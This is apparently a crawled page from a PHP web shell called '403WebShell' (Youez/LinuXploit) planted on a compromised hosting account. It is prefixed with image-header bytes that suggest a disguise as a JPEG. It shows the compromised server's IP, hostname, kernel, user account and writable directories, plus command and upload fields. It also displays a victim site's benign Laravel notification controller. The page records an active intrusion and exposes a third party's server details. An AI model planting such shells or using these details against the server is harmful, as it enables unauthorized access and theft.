����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.15.190.49
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/common/Notifications/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/common/Notifications/NotificationSubscriptionsController.php
<?php

namespace Common\Notifications;

use Auth;
use Common\Core\BaseController;
use Illuminate\Filesystem\Filesystem;
use Illuminate\Http\Request;
use Illuminate\Http\Response;

class NotificationSubscriptionsController extends BaseController
{
    /**
     * @var Filesystem
     */
    private $fs;
    /**
     * @var Request
     */
    private $request;

    /**
     * @param Filesystem $fs
     * @param Request $request
     */
    public function __construct(
        Filesystem $fs,
        Request $request
    ) {
        $this->fs = $fs;
        $this->request = $request;
    }

    /**
     * @param int $userId
     * @return Response
     */
    public function index($userId)
    {
        $this->authorize('index', [NotificationSubscription::class, $userId]);

        $response = $this->getConfig();
        $subs =  Auth::user()->notificationSubscriptions;
        $response['user_selections'] = $subs;

        return $this->success($response);
    }

    /**
     * @param int $userId
     * @return Response
     */
    public function update($userId)
    {
        $this->authorize('update', [NotificationSubscription::class, $userId]);

        $this->validate($this->request, [
            'selections' => 'present|array',
            'selections.*.notif_id' => 'required|string',
            'selections.*.channels' => 'required|array',
        ]);

        foreach ($this->request->get('selections') as $selection) {
            $subscription = Auth::user()->notificationSubscriptions()->firstOrNew(['notif_id' => $selection['notif_id']]);
            $newChannels = $subscription['channels'];
            // can update state of all channels at once or only a single channel
            foreach ($selection['channels'] as $newChannel => $isSubscribed) {
                $newChannels[$newChannel] = $isSubscribed;
            }
            $subscription->fill(['channels' => $newChannels])->save();
        }

        return $this->success();
    }

    private function getConfig()
    {
        return $this->fs->getRequire(resource_path('defaults/notification-settings.php'));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit